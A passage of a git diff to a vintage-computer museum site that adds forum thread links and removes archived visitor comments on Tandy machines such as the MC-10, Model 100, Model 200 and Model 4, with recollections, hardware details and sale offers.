date: Tuesday 14th February 2012 - text: |- - You couldn''t fully take advantage of the higher resolution graphics modes without internal modifications because some of the address lines on the 6847 weren''t attached and address decoding is a cheap design. As a result, the last 1/3 of the screen is a mirror of the first 1/3 in the highest resolution modes. - - To make matters worse, the ROM interrupt vectors point to locations that are in the screen address range used by higher res modes. - - author: Richard (Belgium) - date: Sunday 23rd May 2010 - text: Jeff, you mentioned that you also have/had a floppy for the MC-10 ? Strange, because I never heard about a floppy based system for the MC-10. The only backup was a tape-recorder system. - - author: Ed (USA) - date: Monday 17th May 2010 - text: |- - Gary, I have both the MC-10 and a CoCo 2 with EDASM+. Do you mind sharing your information about the 6803 opcodes that need to be added and which advanced 6809 features need to be avoided? - - Thanks,\ - Ed - - author: Gary (USA) - date: Friday 7th May 2010 - text: |- - I bought one of these on clearances along with the 16k memory upgrade and the thermal printer. I used it until I could afford the more usable Color Computer 2.\ - At one point, I got into writing assembly language programs for the MC-10. Since there was no support from Radio Shack, I had to analyse the Rom to find useful routines.\ - The 6803 processor was backward compatible to the 6800, but included added features which which made it closer to the 6809 processor used in the color computers 1 through 3. When I upgraded to a color computer 2, I found it possible to use the EDASM+ cartridge on the Coco 2 to develop machine language prograns for the MC-10, by defining 5 opcodes unique to the 6803 and avoiding the advanced features of the 6809.\ - The MC-10 used the same cassette tape format as the color computers, but the BASIC interpreter used different keyword tokens and the MC-10 was unable to load or save ascii format programs. It was also unable to use the serial port and the tape drive at the same time. - - author: Jeff(USA) (Il/USA) - date: Monday 29th March 2010 - text: I have one of these still, along with floppy, and thermal printer. My first PC ever and loved it at the time. - - author: Tom (UK) - date: Friday 26th June 2009 - text: Just recently aquired one of these babys for my collection. Didn''t come with any software, but I found a site that has every program released for the system plus a few homebrew games stored as WAV files. Shame the machine failed$ if Tandy had promoted it a bit better, it might have done well. - - author: James (Canada) - date: Tuesday 9th December 2008 - text: I had one of these briefly in the 80''s but didn''t have the addons as RS had already cleared them out. Did write a few basic programs on tape. Would like to find one working condition if I could just to have something to fiddle with. james.m.alexander@gmail.com - - author: Richard (Belgium) (Belgium) - date: Tuesday 8th May 2007 - text: The MC-10 also had the ability to connect a modem to the printer port. The modem had 300 baud speed, and there was even a simple communication program for it to use. I do not know if the modem was originally from Tandy or from 3rd party vendors. The graphics chip from the MC-10 is the same as in the Tandy Color Computer, but Tandy did not solder all connections, so the chip was limited in grafix. - - author: Eric Murray (Pittsburgh, PA) - date: Thursday 20th April 2006 - text: My dad bought me this magical machine when I was 12 and got me hooked. Did a bunch of BASIC programming and even bought a COCO3 later, which died and was replaced by another COCO3 with Boxes of programs and add-ons. Still have the MC-10 in the original box, but have not power it on in over a decade... - - author: Richard (Belgium) - date: Tuesday 7th February 2006 - text: |- - I bougth my MC-10 color computer in 1983 or 1984 and there wasn't much support by Tandy corp. But I developed loads of programs for this tiny little computer. Some features that were not mentioned in the manual are:\ - Several graphic modes up to 256x192 resolution with 2 colors and 128x 192 resolution in 4 color mode\ - Synthesizer functions for the sound chip\ - The ability to load data-files from tape to be used with programs like paint-programs, wordprocessors,etc. - - author: Webmaster (France) - date: Wednesday 17th November 2004 - text: You should try to ask webmasters of MC10 dedicated websites such as http://www.geocities.com/simonsouth/mc10/index.html. They surely will be able to help you. - - author: Jason (U.S.) - date: Monday 15th November 2004 - text: I was clearing out old stuff in my parents house, and found my MC-10. I can't find the power supply, but I did find the ram expansion module. Does anyone know where I can find the power supply specs. Also, I am not a collector, and may be selling this soon, where can I find value info? - - author: Erik Keever (Earth) - date: Tuesday 13rd August 2002 - text: |- - The sound for the MC-10 was generated through the TV. It could generate 255 tones, lasting 75 milliseconds to 19.125 seconds. - - On the TV I use, anything above tone 224 is just noise - too high for the speakers. - - The BASIC command for sound was SOUND tone, length where both values were 1 to 255. - - There was only one problem. While it is generating a tone, everything else freezes. - - author: Shawn (Earth) - date: Monday 8th July 2002 - text: Although there wasn't one specifically desiganted for it, I believe the MC-10 could be used with any of the serial modems for the rest of the coco series. I don't have any such modem, so I can't test that out. Also, I read somewhere that one could POKE the serial port all the way up to 9600, not sure about that either though. - - author: Shawn (US) - date: Saturday 6th July 2002 - text: Just purchased myself a slighty used MC-10. MY first system was an mc-10, but was lost long ago. Actually the systems & it's manual could probably stlle be used a a good into to programming concepts. (even with the GOTOs :-P ) related: - /museum/matra-hachette-alice - /museum/matra-hachette-alice-90 diff --git a/content/museum/tandy-radio-shack-portable-wordprocessor-wp-2-wp-3.md b/content/museum/tandy-radio-shack-portable-wordprocessor-wp-2-wp-3.md index 0c5152f7..656aa215 100644 --- a/content/museum/tandy-radio-shack-portable-wordprocessor-wp-2-wp-3.md +++ b/content/museum/tandy-radio-shack-portable-wordprocessor-wp-2-wp-3.md @@ -67,6 +67,7 @@ params: - adverts - links - docs + forum_thread: 1223 photos: - title: WP-2 subtitle: '' @@ -127,23 +128,6 @@ params:  type of document : PDF\  size : 13,5 MB\  source : [www.larwe.com](http://www.larwe.com) - comments: - - author: TC (USA) - date: Monday 22nd October 2012 - text: Roger, it''s been over a year, but do you still need a Tandy WP-2? I have one that I don''t use all that much and was thinking of posting it on eBay or Craigslist. It''s been upgraded with a 128kb RAM internal storage chip (I actually have an extra 128kb RAM internal storage chip if anyone else is interested) and comes with a black vinyl slipcover case. I can be reached at oahu_NO_SPAM_1961 at yah_oo dot com (just remove the obvious, the underscores and $ the appropriate punctuation marks). - - author: SmurfyDog - date: Saturday 16th June 2012 - text: |- - I still have one of these somewhere.\ - By the time I got it it was already considered a bit of a dinosaur, but it was so helpful during my time at highschool and university. And unlike other computers I owned at the time it NEVER crashed or lost data. - - Sorry Roger, but I''m hanging on to it. I got rid of nearly all of my old computers as I upgraded and I regret that very much. - - author: Roger Keller (United States) - date: Wednesday 24th August 2011 - text: Need operating manual wp100 wp-2 - - author: Roger Keller (United States) - date: Wednesday 24th August 2011 - text: looking for wp 2portable wordprocessor oc_id: 1256 source: url: https://web.archive.org/web/20230608083548/http://www.old-computers.com/museum/computer.asp?c=1256 diff --git a/content/museum/tandy-radio-shack-trs-80-model-100-102.md b/content/museum/tandy-radio-shack-trs-80-model-100-102.md index 097b794b..2d80d85a 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-100-102.md +++ b/content/museum/tandy-radio-shack-trs-80-model-100-102.md @@ -78,6 +78,7 @@ params: - software - links - docs + forum_thread: 243 photos: - title: TANDY MODEL 100 subtitle: '' @@ -383,97 +384,6 @@ params:  compiled/archived by Charles Good\  type of document : PDF\  source : [www.club100.org](http://www.club100.org) - comments: - - author: Jim Newton (USA) - date: Friday 17th December 2010 - text: |- - In 1983, I was a journalist working for a news service in Atlanta when Radio Shack came out with the model 100. Since I was the bureau chief, I bought one for our staff (mostly me) to use. - - It only had an 8-line monochrome screen and 16k memory, but the model 100 served me well until Tandy came out with the model 200 in about 1985. It had 32k memory and a 16-line screen (40 characters per line) with the screen on a hinged top that folded down over the keyboard like today''s laptops. The model 100 was more like today''s notebooks. - - I would take the Model 100 (and later the 200) to meetings, write my story from the meeting site, find a phone, hook up my portable modem with an RS232 cable, and transmit my copy back to the modem on the office typesetting equipment. It sure beat calling the story in and dictating it by phone to a colleague. Plus, I could cover the news at night and have the story waiting in the office when I went to work the next mornning, and it was in the memory of the typesetting unit. What a technological revolution the Model 100 was for workikng journalists. I loved it. - - I liked the model 200 so much that I bought one personally, and still have it in my closet. I even bought a Radio Shack printer and a floppy disc drive for storage of stories I had written, and still have the disc drive for it. - - Both the model 100 and 200 were workhorse equipment for journalists in the 1980s. Glad to read about other journalists who loved this little machine. It changed my life. - - $ Jim Newton, retired journalist, Clinton, Ms - - author: Mark Wigginton (USA) - date: Tuesday 21st April 2020 - text: As a reporter in Los Angeles I used the model 100 to cover both the Emmy''s and Oscars, using the phone cups to transmit the story back to the newspaper. It was magic. - - author: Phil Cantor (United States) - date: Sunday 23rd July 2017 - text: I used one of these during my junior year of college in 1984. I was doing an internship at NIH in Washington DC and used this to write papers and communicate with my friends back in Iowa... racking up big phone bills using the modem to tie into the mainframe. My roommate created a huge poster of an orca using ASCII which he then printed using a dot matrix printer in his lab. It was a lot of fun... my first laptop. - - author: Fynn - date: Sunday 5th March 2017 - text: VirtualT Is The Only Emulator - - author: Chulang Searales (Barbados West Indies) - date: Sunday 16th January 2011 - text: I have a T100 now. the 3.6V memory battery has leak. I have to replace that as well as the contrast knob. It willl be fun getting it back up and working - - author: Marty (Woodstock, IL USA) - date: Thursday 24th June 2010 - text: |- - I was cleaing out the closet and found my Model 100. I turned it on and it still works and ther date time was within an hour. I had forgot I still had it. I have had it since 1980. If the batteries weren''t dead in 10 years Maybe I should use this in stead of buying an iPad. - - After seeing that otheres are still using their Model 100s I will learn how to live with only 24k of ram. I used to!\ - I think it is time to change tos internal NiCad batteries first. 30 years is a little long for them. - - author: webb (sydney australia) - date: Saturday 15th September 2007 - text: I have 2 tandy 102's and did not know they were even good for keeping the door open. But there are people out there still using them so i have a pair of 102's and they are in brandnew condition still in lether cases and both come in a wooden case aswell. - - author: Josh Carlson (Alabama) - date: Monday 23rd July 2007 - text: |- - I have had a model 100 for several years now. I LOVE the thing. It's impossible to break! It always works, there is not enough of a system there to crash and it sips battery power. Makes a great serial console for some of my old machines. - - Great system that is still \*very\* usable! - - author: js (nowhere) - date: Sunday 22nd July 2007 - text: I once had a Kyocera Kyotronic 85, which was Kyocera's internal version. Didn't come with as much software as the 100/102 though. - - author: thomas (alabama) - date: Tuesday 10th April 2007 - text: for the last 4 weeks i have been takeing notes with the model 100 it works great only problem is the sceen flikers every now and then but my teacher don't care and it has hellped my typeing i wish tandy still made computers,i am debateing on buying the TSR-80 model 3 yea for tandy - - author: Chulang Searles (Barbados(West Indies)) - date: Tuesday 15th August 2006 - text: I had broughone in th eUK after using one here. It was a fantastic laptop. I hoope to find one soon. MInes had stop working - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: The printer port isn't percisley "Tandy proprietary" as stated on the connector diagram. You can actually plug the connector from a motherboard header plug for an AT style parrallel port backplate connector right into that port and then just plug a standard printer port into the other end. Only thing you have to figure out is how to set your printer to do a line feed on LF only instead of LF&CR as the Model 100 doesn't print out CR characters. This can usually be done by either holding down a combination of buttons on your printer whilst you turn it on to get into the settings mode, or via dip switches somewhere on the printer on most older printers. Check your printer manual to find the exact method. - - author: Aaron (Indiana) - date: Saturday 17th September 2005 - text: |- - I came across one of these a year or so ago. I would have loved to have kept it, but had no use for it and needed the money at the time. One interesting thing is the carrying case that i had. I didnt see it on the accessories page. It was a velvet (or some other very soft, fuzzy cloth) lined pleather bag with RadioShack Tandy Portable Computer stamped into the cover. Sadly, i have no high-resolution pictures of it, but i do have a picture you can view at - - http://img288.imageshack.us/img288/7316/img000022fc.jpg - - take a look if youre interested. - - author: Andy (Manchester) - date: Monday 21st March 2005 - text: I have a Tandy 102 and an EPROM programmer on the PC. I've noticed a spare standard ROM socket inside the 102. Does anyone know of any links to sites containing ROM images? - - author: Arthur Kaufman (UK) - date: Friday 5th November 2004 - text: |- - I have two Tandy 200's and two 100's and use them as working machines, almost on a daily basis. I have also written an article on the Tandy 200. I did not know about your site until recently . These machines, apart from their obvious usefulness are great for touch typists, and unlike modern laptops, with the keys too close and the mouse in the way. Would like to know if there is anyone near Sheffield UK who still uses these machines.\ - Looking forward to any replies... - - author: Tom Morgan (Sacramento) - date: Monday 12th April 2004 - text: I worked for a company named System10 in San Jose and we used these computers for a budget priced UPS Manifest system in conjunction with our electronic postage scale and a printer. At the time we were one of three companies authorized to sell a UPS manifest system and these were popular due to the compact size. This was back in the early 80's. - - author: Net Ranger (Orlando, FL) - date: Tuesday 10th February 2004 - text: For info on the model 100 and 102, check www.club100.org. you may also want to subscribe to the mailling list (check the site). A lot of people still use this machines and they can provide you with information. - - author: Penni (Madison, WI) - date: Thursday 5th February 2004 - text: Looking for some help here, I have a Tandy 102 Digitgate manufactured for Radio Shack in 1988. Anyone out there have a clue a to what I am refering to? - - author: M. Ayers (North Carolina) - date: Thursday 6th November 2003 - text: I wish I had known about this sight earlier. I just trashed 4 model 100's and 2 model 102's. We used to use them to collect behavior data, before lap tops. - - author: grayfox (foxcom) - date: Tuesday 28th January 2003 - text: |- - are there emulators for this computer yet\ - if so let me know - - author: Robert King (Georgia) - date: Wednesday 30th October 2002 - text: I have a Tandy 102 with an interesting accessory that I cannot figure out. It is a Datapac model 102/200 Ram Extension. I cannot figure how to use it. It also has a ROM chip in the chip slot titled EXECWS ver 08/04/87. It was used by a hospital at one time. oc_id: 233 source: url: https://web.archive.org/web/20230605030605/http://www.old-computers.com/museum/computer.asp?c=233 diff --git a/content/museum/tandy-radio-shack-trs-80-model-12.md b/content/museum/tandy-radio-shack-trs-80-model-12.md index 08cff9d2..bacce40b 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-12.md +++ b/content/museum/tandy-radio-shack-trs-80-model-12.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 747 adverts: - title: FIRST US AD. subtitle: '' diff --git a/content/museum/tandy-radio-shack-trs-80-model-16.md b/content/museum/tandy-radio-shack-trs-80-model-16.md index 6b9fa1cf..8af31a63 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-16.md +++ b/content/museum/tandy-radio-shack-trs-80-model-16.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 252 adverts: - title: ADVERT subtitle: '' @@ -196,35 +197,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Ray MacDonald (Canada) - date: Saturday 16th July 2016 - text: Sadly missing a lot of info here. The Model 16b/6000 running the Motorola 68000 and Xenix became a large population of the Usenet network (BBS-like global chat/messaging environment based on UNIX UUCP). I developed my career on the 6000 doing UNIX (Xenix) multi-user environments running up to 15 dumb terminals from 1 unit. Installed into many companies with the Profile/filePro16 database system and Realworld accounting systems. Specifically the 6000 was very capable and used frequently as a Mini killer. We knocked many a Mini computer out of transport/shipping companies with these. As an example would install one 6000 running core accounting with 10+ terminals, and a second unit running another 5 to 10 terminals running the custom shipping applications. Very effective and had longevity. Took me to HPUx on HP9000 then Symetrics sac parallel computing and onwards... - - author: Chuck Rose (Vermont, USA) - date: Friday 26th December 2014 - text: |- - Dav is correct, the original Model 16 had the single full height 8" floppy drive like the Model II, not the two slimline drives shown here. However, the drive on the model 16 had 1.25 MB capacity as opposed to the Model II''s 500k capacity. - - I worked on one of these briefly in Model II mode using COBOL language software to write a VHS tape inventory program. But, alas, the owner of the store (also a Radio Shack store) decided he''d rather have the system put on a Model III instead so he could sell it to other video renting businesses in the area. I did get to play with the COBOL compiler quite a bit though. - - author: computer geek - date: Friday 27th September 2013 - text: |- - I loved this machine! Never had one, though - still in college no money. - - In 2004 someone posted a query on how to get out their data - the best way with incompatible machines is over RS232 - the only common interface among almost all machines. - - Write a program to dump $ read hex (with checksum if so inclined) on both systems, start transferring. - - Did this so many times in the 1980''s and 1990''s working with industrial applications.. - - author: Dav (USA) - date: Wednesday 12th December 2012 - text: The picture displayed and the specs are for the TRS-80 Model 16b/Tandy 6000. The original Model 16 was a smaller cabinet based on the original Model II. - - author: Roberto Espinoza (Peru) - date: Tuesday 3rd May 2011 - text: Model 16 was the most wonderfull design and perfomance ever conceived. It$s history is not very well kown. Model II was designed and manufactured waiting for the market right timing for multiuser, multitaskink features. The Unix version for it was Xenix it$s development started in 1978 which gave bill Gates the basis for the MS-DOS that sold to IBM without having it. The trial between them proves this. - - author: Chester Kwitowski (Tampa, FL) - date: Saturday 16th October 2004 - text: I think the TRS-80 Model 16 is the best computer ever developed. The problem I have recently is that mine is failing and I was wondering if anyone out there knows how I can get my valuable data from my Model 16 to the current PC technology. Please respond to chet@bright-side.net. Thanks. related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-model-200.md b/content/museum/tandy-radio-shack-trs-80-model-200.md index 676c6cfd..7860e90a 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-200.md +++ b/content/museum/tandy-radio-shack-trs-80-model-200.md @@ -64,6 +64,7 @@ params: - photos - adverts - docs + forum_thread: 244 photos: - title: CLOSED subtitle: '' @@ -133,56 +134,6 @@ params:  compiled/archived by Charles Good\  type of document : PDF\  source : [www.club100.org](http://www.club100.org) - comments: - - author: Louisa Shepard (USA) - date: Sunday 4th February 2007 - text: I have a Tandy 200 portable computer, with all the manuals, and even the couplers. I bought it in 1988 because I was working as a journalist. I used to to write my stories and send them to the newspaper, using the couplers on pay phones to transmit. Amazing to think about, really. - - author: Mathieu Brisou (IT journalist) (France) - date: Thursday 23rd March 2006 - text: It was my first laptot. If my memory is good, Reuters or another big news company use it.. In fact, for a copy writer, this computer was the best companion! I baught it in rom 1987 and use it to 89. Excellent Keybaord, full view on sceren and a lot of other stuff... For me the 200 is a classic computer. Default? Yes! External serial fucking floppy driver, fucking extensions..... But...... I'd ll to have it again... My Lifebook from Fujitsu on Windows 2000 is only worst......; - - author: pugwash (UK) - date: Friday 18th February 2005 - text: The scottish sunday newspaper The Sunday Post had a reporter called 'Tandy Man'. He journeyed the country reporting on various events and sent his stories in using his Tandy Model 200. - - author: K. Curran (USA) - date: Monday 27th December 2004 - text: The 200 was the first computer I purchased. I was working for NBC at the time. It was used by all of their correspondents and producers for access to the network's mainframe computer. Some of the NBC users even wrote BASIC programs that matched up with the network's expense reports and other paperwork. They even wrote one that allowed the computer to perform the theme to "I Love Lucy"! I was still able to use it as late as 1999 for filing stories to UPI. It was a remarkably flexible unit. The spreadsheet program allowed me to track the revenues of two groups of salespeople and do month to month and year to year comparisons. The machine had an AC adapter or operated on four AA batteries. I cannot remember how much I paid for it, it was a few hundred dollars (I picked it up in Delaware to avoid a big sakes tax hit). You could hook it directly into a telephone line or you could buy an "acoustic coupler" that allowed you to communicate through a telephone handset. - - author: Graham (Orange, CA) - date: Friday 1st February 2002 - text: I actually had a customer present one of these babies to me asking if I could install Windows on it for him. After I regained my composure i explained to him that this computer was 17 years old which he replied "But the guy who sold it to me for $100 dollars said it would connect to the internet. I briefly explained what the internet was when his "computer" was in use. I offered him $15 to take it off his hands but he packed it up and left. His wife yelled at him when he got back in his car. - - author: Craig (Greater Vancouver, BC, Canada) - date: Monday 20th October 2014 - text: |- - I''ve got a Tandy 200 Portable Computer with original Tandy Portable Disk Drive and original Tandy Computer Cassette Recorder (CCR-82). There also seems to be something called LapDos by Travelling Software for the Disk Drive. Also a bunch of manuals and magazines. - - Photos at:\ - https://plus.google.com/photos/106516834062154384149/albums/6072410202411582033?authkey$CNCTmoP5k5v38QE - - If interested, email me at: cscratchley (AT) gmail (DOT) com - - author: SUreal1r (Chicago area) - date: Wednesday 31st October 2012 - text: |- - Have Tandy 200 for sale\ - complete set includes couplers ,matrix printer,mauels and suitcase - - author: Griffin Jones (USA) - date: Sunday 13rd May 2012 - text: Do the key caps come off easily? There''s a hefty amount of dirt beneath my keyboard and I don''t want to ruin any of the keys. - - author: D. Curran (Ireland) - date: Thursday 1st December 2011 - text: Back in the 1980''s I worked for a Tandy dealership in Dublin. We had great success with the T102 and T200 with all of the national newspapers. As other posters have mentioned, the simplicity of both machines and the battery life (on 4xAA''s) along with an inbuilt 300baud Bell Modem, meant that these machines were ''journalist-proof''. Indeed when they were discontinued and the papers were forced to move to standard laptops, we experienced many more support calls. We even sourced software for laptops which emulated the T102/200''s inbuilt simple text processing software! - - author: Chulang Searles (Barbados) - date: Friday 18th February 2011 - text: any one has a T200 for sale reasonable please post here and let me know - - author: ChAS (Russia, Moscow) - date: Tuesday 8th May 2007 - text: |- - Photo Bill Gates with Tandy 200\ - http://www.club100.org/stories/02/beer2.html - - author: Fred van Deventer ('s-Hertogenbosch (NL)) - date: Monday 11th February 2002 - text: |- - I just got one (for free). Judging the "documents" is has been in use by a local newspaper.\ - It is in a leather case but the cables are missing as well as the documentation.\ - Maybe I am going to use it as a terminal, just for fun. oc_id: 234 source: url: https://web.archive.org/web/20230329070249/http://www.old-computers.com/museum/computer.asp?c=234 diff --git a/content/museum/tandy-radio-shack-trs-80-model-4.md b/content/museum/tandy-radio-shack-trs-80-model-4.md index 8b714e78..0268f183 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-4.md +++ b/content/museum/tandy-radio-shack-trs-80-model-4.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 254 photos: - title: FIRST VERSION subtitle: '' @@ -278,77 +279,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: |- - I am looking for one of these at a cheap price, I will pay up to 100$ including shipping if I have to pay for it\ - Email is jaya.buckwheat@gmail.com - - author: David Coffey (Florida, United States) - date: Friday 11th September 2015 - text: To Jeffrey Joseph who posted a nice response. I, too, had a gate-array with the split arrow keyboard. Why? I had purchased the Model 4 and discovered it had a different keyboard than the Model 4 I already owned (non-gate). At the time I was not knowledgeable between the gate and non-gate systems though I had noticed the printer port was pointing out of the back instead of the bottom. I always played video games on my Model 4s and Model 3s and even the Model 3 had the same split arrow keyboard. On the new gate array, I was dismayed with the new clumped arrow keys and hated it for playing games. i actually found a supplier and bought an old split arrow keyboard and replaced it myself in the gate array. It was very easy. So, that''s how I ended up with the split arrow keyboard on my gate array Model 4. - - author: David Coffey (Florida, United States) - date: Friday 11th September 2015 - text: I had several Model 3''s, Model 4''s and one Model 4p. Loved these little systems. The last Model 4 I owned in 1995 I purchased a Zilog Z-80a chip and replaced the Z-80 I had in it. The Z-80a ran at the same 4Mhz but it had the added ability to boot from an external hard disk drive without the need of a floppy. I had a 15MB hard disk drive (MFM) for my Model 4. - - author: Chuck Rose (Vermont/USA) - date: Sunday 1st February 2015 - text: |- - It''s not quite accurate to say that double sided drives was the only thing to change in the Model 4D. It would lead you to believe that the ''D'' stood for double sided. In fact the ''D'' stood for "Deskmate" which was a piece of software that worked as a pseudo GUI (keyboard controlled) and also contained some simple productivity software like a text editor, spreadsheet, database, terminal program, scheduler, and an ''email'' program that allowed you to send messages to any other deskmate user via modem. - - These were very basic applications without any bells and whistles but was good if you didn''t want to deal with the command line or if you just needed basic productivity software. - - author: Kurt baumgardner (US) - date: Sunday 10th October 2010 - text: |- - @Ninfa: - - Is the table white, with 2 cutouts, and z-style legs? Any chance you wanted to sell any of it? - - author: Ninfa Carpenter (US) - date: Saturday 25th September 2010 - text: |- - We have a TRS-80 full set. This computer belong the\ - Previous owner that we purchase the home in1995.\ - He became ill and now has passed. We have the table,\ - Manuel''s, discs, electrical hook up, key board, tV screen,\ - Paper, printer, and great condition. Does any one know some\ - one that might save this computer. We Re selling our home\ - and do not want to throw away. I read lots of comments and see\ - people still show a passion for specialize computer. - - author: Sean (California) - date: Friday 11th June 2010 - text: My family had one of these long ago. Some years after my military service ended, I asked about it and found it had been given to my brothers in-laws and had been subsequently thrown away. I remember waiting forever for the word processor to load from the tape drive because we couldn''t afford the floppy disk drives. Radio Shack was really good with everything about these computers and I bought a book that showed me how to convert Apply programs to TRS-80. I spent hours and hours making the fireworks program. In re-living my past, I''ve been considering finding an old TRS-80 model 4 and installing all new components in it, mixing the new with the old. That way I could have a functional antique computer. However, my imagination might just be too ambitious. - - author: Paul Vassiliou (U.S) - date: Saturday 8th May 2010 - text: I found one of these in my Grandfathers attic after he passed away. It powers on and still has the original cardboard slips in the floppies. If anyone is interested in it email me at paulvassiliou@live.com - - author: Jeffrey Joseph (Norfolk Virginia) - date: Saturday 17th April 2010 - text: |- - Your description and photo of the TRS-80 Model 4 is very interesting:\ - First, your photo. You show a green-screen computer with split-arrow keyboard. Perhaps I should explain:\ - The Model 4 was produced in two distinct versions (not mentioned in your description). Initially, in April 1983, was the so-called "Non-gate array". This had a black-and-white CRT with a keyboard that had the four arrow keys split between the left- and right-hand sides of the keyboard. The up/down keys on the left, and the right/left keys on the right. This model is also distinct in that it used PAL chips for its digital logic on the PCB. Also, to include the optional peripherals (disk, RS-232), it required the installation of multiple circuit boards within the cabinet. What''s more, to expand to the maximum 128K of RAM, a special expansion PAL chip was required.\ - Then came the so-called "gate-array" Model 4 sometime in mid-1984. This model included ALL digital circuitry on one circuit board (including FDC and RS-232) as standard feature. It could be expanded to 128K RAM with no special PAL chip $ only the new RAM need be installed and a shorting block (jumper) moved. The gate-array Model 4 also included a green CRT and a new keyboard which had all four arrow keys grouped in a cluster at the lower-right of the keyboard. Yet another useful feature of the gate-array model was that all connectors were repositioned so that they faced directly out the back of the cabinet, rather than straight downward, as they had on the non-gate-array. (the later Model 4D also had a backspace key, double-sided drives, and included DeskMate integrated application software. In its last years the 4D also came from Tandy with LS-DOS 6.3 operating system with many enhanced features).\ - $-The reason your Model 4 photo is so interesting is because you show a Model 4 with a new green screen and the old split-arrow-key keyboard. Perhaps this is a gate-array computer with an old-style keyboard replacement. Then again, when Tandy was transitioning between non-gate-array and gate-array production, a very few computers were shipped with the new CRT and old keyboard because of vendor supply issues. If this is so, you have a very rare specimen on your hands! $-\ - Right from the beginning, all Model 4s provided for the optional high-resolution graphics board which endowed the machine with 640 x 240 resolution and 32K of additional port-accessed memory.\ - There were many many aftermarket upgrades available from third-party vendors and enthusiastic hackers. The clock rate of the non-gate array could be upped to 6 megahertz, and the gate array could go as far as 7 Mhz. By substituting 256K DRAMs, memory could go up to one megabyte by double-stacking the chips in the Model 4 sockets. Fortunately, the authors of the LS-DOS (TRSDOS 6) operating system made provision in the software for such memory expansion with their ingenious @BANK supervisor call. The expansion memory beyond the Z-80''s 64K limit was accessible as a RAMDISK, or at the same time (user-definable) as distinct 32K banks to applications software (such as PRO-WAM, SuperLog, Said, Allwrite). Later, a company called Hi-Tech made available their XLR8er expansion board which simply plugged into the Z-80 socket, making an easy expansion of 256K and 6.144 Mhz Z-180 (8 Mhz Z-80 equivilant). The XLR8er, since it only used the Z-80 socket, could co-exist with the other megamemory mods that only used the DRAM sockets, and the operating software was easily adaptable because its complete assembler source code was available to the dedicated hacker with publication of LSI''s THE SOURCE.\ - In this regard of openness of the machine architecture, I would be remiss not to mention that Tandy alone of almost all computer manufacturers, always made available to the public all of the technical data on its products. For each and every of its computers, anyone could order both the Technical Reference Manual (including schematics and theory of operation), and the Service Manuals (including maintenance and troubleshooting data).\ - Indeed, availability of these data made possible the many many hacker upgrades published for the TRS-80 Model 4 in its many incarnations and thus contributed greatly to its beloved and long-lived status among vintage computer enthusiasts. - - author: Alex (Goshen, Indiana ) - date: Sunday 22nd January 2006 - text: I have a trs-80 with the green screen starting to blur objects together. Everything else works great on it still. Is there any places that sell parts for trs-80s to replace the screen? - - author: Jesse (Washington) - date: Tuesday 28th September 2004 - text: I have a TRS-80 printer and I should have the manual somewhere but I cant find it. I was hoping someone would know what the powersupply that is required for it. - - author: Brian K. Hahn (Alberta, Canada) - date: Monday 24th May 2004 - text: |- - The support for the TRS-80 is still very much alive. Visit tthe TRS-80 Web at: http://www.ringsurf.com/netring?ring=trs80;action=list - - Old-computers.com is a great site and hats off to your accomplishments Sylvain! - - author: Lori (Garland, TX) - date: Saturday 17th May 2003 - text: Can anyone tell me what the original price was for a TRS-80? - - author: Dano (Nebraska) - date: Friday 28th March 2003 - text: I have a TRS-80 model 4 with many (MANY) books, software(games and business) and the TRS-80 printer. I was wondering what a fair price to sell it would be. related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-model-4p.md b/content/museum/tandy-radio-shack-trs-80-model-4p.md index 55e31e31..cdc2b774 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-4p.md +++ b/content/museum/tandy-radio-shack-trs-80-model-4p.md @@ -65,6 +65,7 @@ params: - hardware - emulators - links + forum_thread: 1053 photos: - title: MODEL 4P subtitle: '' @@ -211,50 +212,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Steve mills (Corvallis or) - date: Monday 4th June 2018 - text: Trs80 model 4p for sale - - author: CJ (Virginia) - date: Sunday 1st April 2018 - text: |- - I own a 4P myself, and thought I would add some more specific technical details - - - The 180K disk drives it uses are Tandon brand drives, model TM50-1, belt-driven.\ - The Z80A CPU is SGS Thompson branded, model Z8400AB1. - - author: Jeff Gillis (united states) - date: Monday 17th July 2017 - text: Unbelievably, I actually have the original cardboard box for a TRS 80 model 4P that I recovered from my folks attic where it sat undisturbed for decades. The internal packing material is long gone, but the box itself is in very good shape. I was going to flatten it and recycle it unless someone wants it. Any takers? - - author: Marcus N. (Germany) - date: Monday 12th December 2016 - text: Dear Mr. Bryant, do you still have these manuals and Softwaredisks? I''m about to buy a TRS-80 4p with nothing except the defective machine... I would be so happy if you could send it over here to Germany by Mail postage - of course all on my cost :-) - - author: Dean Notarnicola (NJ, USA) - date: Tuesday 10th November 2015 - text: 'Harry and John: Do you still have those Model 4P computers?' - - author: Harry Bryant (United States) - date: Saturday 29th August 2015 - text: I have a TRS80 4P and assoiated manuals and software. I''d gladly donate it to a hobbiest/museum for the cost of shipment. - - author: Chuck Rose - date: Thursday 15th January 2015 - text: My model 4P had double sided drives just like the 4D. I developed with it mostly in CP/M mode because it had the bigger market compared to the model 4. - - author: John E Iacono (USA) - date: Monday 13rd October 2014 - text: I have a 4P that has not been turned on for about 20 years. Also several hundred dsdd floppies, if anyone is interested. We used it in our accounting company for several years. - - author: Richard - date: Thursday 10th November 2011 - text: I have this computer but do not have a power cord. Would any power cord work? - - author: Richard - date: Thursday 10th November 2011 - text: I have this computer but do not have a power cord. Would any power cord work? - - author: James (USA) - date: Saturday 4th June 2011 - text: I am still in possession of the Model 4P that my father purchased for me in 1984. (my junior year of HS.) The unit is still in functional condition, although the 